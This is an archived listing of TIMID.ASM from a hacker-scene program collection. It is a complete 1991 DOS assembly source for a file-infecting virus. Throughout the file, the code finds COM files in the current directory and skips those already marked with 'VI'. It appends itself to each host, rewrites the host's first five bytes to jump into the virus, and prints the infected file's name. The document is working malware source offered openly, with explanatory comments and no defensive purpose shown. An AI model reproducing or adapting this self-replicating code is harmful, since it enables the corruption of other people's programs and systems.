home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / L.ZIP / LITBLA.LZH / TIMID.ASM < prev    next >
Assembly Source File  |  1991-04-01  |  11KB  |  210 lines

  1. ;This program is a basic virus that infects just COM files. It gets the first
  2. ;five bytes of its host and stores them elsewhere in the program and puts a
  3. ;jump to it at the start, along with the letters "VI", which are used to
  4. ;by the virus to identify an already infected program.
  5.  
  6.  
  7. MAIN    SEGMENT BYTE
  8.         ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
  9.  
  10.         ORG     100H
  11.  
  12. ;This is a shell of a program which will release the virus into the system.
  13. ;All it does is jump to the virus routine, which does its job and returns to
  14. ;it, at which point it terminates to DOS.
  15.  
  16. HOST:
  17.         jmp     NEAR PTR VIRUS_START            ;Note: MASM is too stupid to assemble this correctly
  18.         db      'VI'
  19.         mov     ah,4CH
  20.         mov     al,0
  21.         int     21H             ;terminate normally with DOS
  22.  
  23. VIRUS:                          ;this is a label for the first byte of the virus
  24.  
  25. COMFILE DB      '*.COM',0       ;search string for a com file
  26.  
  27. VIRUS_START:
  28.         call    GET_START       ;get start address - this is a trick to determine the location of the start of this program
  29. GET_START:                      ;put the address of GET_START on the stack with the call,
  30.         sub     WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS  ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
  31.         mov     dx,OFFSET DTA   ;put DTA at the end of the virus for now
  32.         mov     ah,1AH          ;set new DTA function
  33.         int     21H
  34.         call    FIND_FILE       ;get a com file to attack
  35.         jnz     EXIT_VIRUS      ;returned nz - no file to infect, exit
  36.         call    INFECT          ;have a good COM file to use - infect it
  37.         mov     dx,OFFSET FNAME         ;display the name of the file just infected
  38.         mov     [HANDLE],24H    ;make sure the string terminates, put '$' after it
  39.         mov     ah,9
  40.         int     21H             ;display it
  41. EXIT_VIRUS:
  42.         mov     dx,80H          ;fix the DTA so that the host program doesn't
  43.         mov     ah,1AH          ;get confused and write over its data with
  44.         int     21H             ;file i/o or something like that!
  45.         mov     bx,[VIR_START]                          ;get the start address of the virus
  46.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)]         ;restore the 5 original bytes
  47.         mov     WORD PTR [HOST],ax                                          ;of the COM file to their
  48.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2]       ;to the start of the file
  49.         mov     WORD PTR [HOST+2],ax
  50.         mov     al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]       ;to the start of the file
  51.         mov     BYTE PTR [HOST+4],al
  52.         mov     [VIR_START],100H                        ;set up stack to do return to host program
  53.         ret                                             ;and return to host
  54.  
  55. START_CODE:                     ;move first 5 bytes from host program to here
  56.         nop                     ;nop's for the original assembly code
  57.         nop                     ;will work fine
  58.         nop
  59.         nop
  60.         nop
  61.  
  62. ;--------------------------------------------------------------------------
  63. ;Find a file which passes FILE_OK
  64. ;
  65. ;This routine does a simple directory search to find a COM file in the
  66. ;current directory, to find a file for which FILE_OK returns with C reset.
  67. ;
  68. FIND_FILE:
  69.         mov     dx,[VIR_START]
  70. ;        add     dx,OFFSET COMFILE - OFFSET VIRUS        ;this is zero here, so omit it
  71.         mov     cx,3FH          ;search for any file, no matter what the attributes
  72.         mov     ah,4EH          ;do DOS search first function
  73.         int     21H
  74. FF_LOOP:
  75.         or      al,al           ;is DOS return OK?
  76.         jnz     FF_DONE         ;no - quit with Z reset
  77.         call    FILE_OK         ;return ok - is this a good file to use?
  78.         jz      FF_DONE         ;yes - valid file found - exit with z set
  79.         mov     ah,4FH          ;not a valid file, so
  80.         int     21H             ;do find next function
  81.         jmp     FF_LOOP         ;and go test next file for validity
  82. FF_DONE:
  83.         ret
  84.  
  85.  
  86. ;--------------------------------------------------------------------------
  87. ;Function to determine whether the COM file specified in FNAME is useable.
  88. ;if so return z, else return nz.
  89. ;What makes a COM file useable?:
  90. ;              a) There must be space for the virus without exceeding the
  91. ;                 64 KByte file size limit.
  92. ;              b) Bytes 0, 3 and 4 of the file are not a near jump op code,
  93. ;                 and 'V', 'I', respectively
  94. ;
  95. FILE_OK:
  96.         mov     dx,OFFSET FNAME                         ;first open the file
  97.         mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
  98.         int     21H
  99.         jc      FOK_NZEND                               ;error opening file - quit and say this file can't be used
  100.  
  101.         mov     bx,ax                                   ;put file handle in bx
  102.         push    bx                                      ;and save it on the stack
  103.         mov     cx,5                                    ;next read 5 bytes at the start of the program
  104.         mov     dx,OFFSET START_IMAGE                   ;and store them here
  105.         mov     ah,3FH                                  ;DOS read function
  106.         int     21H
  107.  
  108.         pop     bx                                      ;restore the file handle
  109.         mov     ah,3EH
  110.         int     21H                                     ;and close the file
  111.  
  112.         mov     ax,WORD PTR [FSIZE]                     ;get the file size of the host
  113.         add     ax,OFFSET ENDVIRUS - OFFSET VIRUS       ;and add the size of the virus to it
  114.         jc      FOK_NZEND                               ;c set if ax overflows, which will happen if size goes above 64K
  115.         cmp     BYTE PTR [START_IMAGE],0E9H             ;size ok - is first byte a near jump op code?
  116.         jnz     FOK_ZEND                                ;not a near jump, file must be ok, exit with z set
  117.         cmp     WORD PTR [START_IMAGE+3],4956H          ;ok, is 'VI' in positions 3 & 4?
  118.         jnz     FOK_ZEND                                ;no, file can be infected, return with Z set
  119. FOK_NZEND:
  120.         mov     al,1                                    ;we'd better not infect this file
  121.         or      al,al                                   ;so return with z reset
  122.         ret
  123. FOK_ZEND:
  124.         xor     al,al                                   ;ok to infect, return with z set
  125.         ret
  126.  
  127. ;--------------------------------------------------------------------------
  128. ;This routine moves the virus (this program) to the end of the COM file
  129. ;Basically, it just copies everything here to there, and then goes and
  130. ;adjusts the 5 bytes at the start of the program and the five bytes stored
  131. ;in memory.
  132. ;
  133. INFECT:
  134.         mov     dx,OFFSET FNAME                         ;first open the file
  135.         mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
  136.         int     21H
  137.         mov     WORD PTR [HANDLE],ax                    ;and save the file handle here
  138.  
  139.         xor     cx,cx                                   ;prepare to write virus on new file; positon file pointer
  140.         mov     dx,cx                                   ;cx:dx pointer = 0
  141.         mov     bx,WORD PTR [HANDLE]
  142.         mov     ax,4202H                                ;locate pointer to end DOS function
  143.         int     21H
  144.  
  145.         mov     cx,OFFSET FINAL - OFFSET VIRUS          ;now write the virus; cx=number of bytes to write
  146.         mov     dx,[VIR_START]                          ;ds:dx = place in memory to write from
  147.         mov     bx,WORD PTR [HANDLE]                    ;bx = file handle
  148.         mov     ah,40H                                  ;DOS write function
  149.         int     21H
  150.  
  151.         xor     cx,cx                                   ;now we have to go save the 5 bytes which came from the start of the
  152.         mov     dx,WORD PTR [FSIZE]                     ;so position the file pointer
  153.         add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is in the new virus
  154.         mov     bx,WORD PTR [HANDLE]
  155.         mov     ax,4200H                                ;and use DOS to position the file pointer
  156.         int     21H
  157.  
  158.         mov     cx,5                                    ;now go write START_CODE in the file
  159.         mov     bx,WORD PTR [HANDLE]                    ;get file handle
  160.         mov     dx,OFFSET START_IMAGE                   ;during the FILE_OK function above
  161.         mov     ah,40H
  162.         int     21H
  163.  
  164.         xor     cx,cx                                   ;now go back to the start of host program
  165.         mov     dx,cx                                   ;so we can put the jump to the virus in
  166.         mov     bx,WORD PTR [HANDLE]
  167.         mov     ax,4200H                                ;locate file pointer function
  168.         int     21H
  169.  
  170.         mov     bx,[VIR_START]                          ;calculate jump location for start of code
  171.         mov     BYTE PTR [START_IMAGE],0E9H             ;first the near jump op code E9
  172.         mov     ax,WORD PTR [FSIZE]                     ;and then the relative address
  173.         add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3    ;these go in the START_IMAGE area
  174.         mov     WORD PTR [START_IMAGE+1],ax
  175.         mov     WORD PTR [START_IMAGE+3],4956H          ;and put 'VI' ID code in
  176.  
  177.         mov     cx,5                                    ;ok, now go write the 5 bytes we just put in START_IMAGE
  178.         mov     dx,OFFSET START_IMAGE                   ;ds:dx = pointer to START_IMAGE
  179.         mov     bx,WORD PTR [HANDLE]                    ;file handle
  180.         mov     ah,40H                                  ;DOS write function
  181.         int     21H
  182.  
  183.         mov     bx,WORD PTR [HANDLE]                    ;finally, get handle off of stack
  184.         mov     ah,3EH                                  ;and close file
  185.         int     21H
  186.  
  187.         ret                             ;all done, the virus is transferred
  188.  
  189. FINAL:                                  ;label for last byte of code to be kept in virus when it moves
  190.  
  191. ENDVIRUS        EQU     $ + 212         ;label for determining space needed by virus
  192.                                         ;Note: 212 = FFFF - FF2A - 1 = size of data space
  193.                                         ;      $ gives approximate size of code required for virus
  194.  
  195.         ORG     0FF2AH
  196.  
  197. DTA             DB      1AH dup (?)             ;this is a work area for the search function
  198. FSIZE           DW      0,0                     ;file size storage area
  199. FNAME           DB      13 dup (?)              ;area for file path
  200. HANDLE          DW      0                       ;file handle
  201. START_IMAGE     DB      0,0,0,0,0               ;an area to store 3 bytes for reading and writing to file
  202. VSTACK          DW      50H dup (?)             ;stack for the virus program
  203. VIR_START       DW      (?)                     ;start address of VIRUS (overlays the stack)
  204.  
  205.  
  206. MAIN    ENDS
  207.  
  208.  
  209.         END HOST
  210.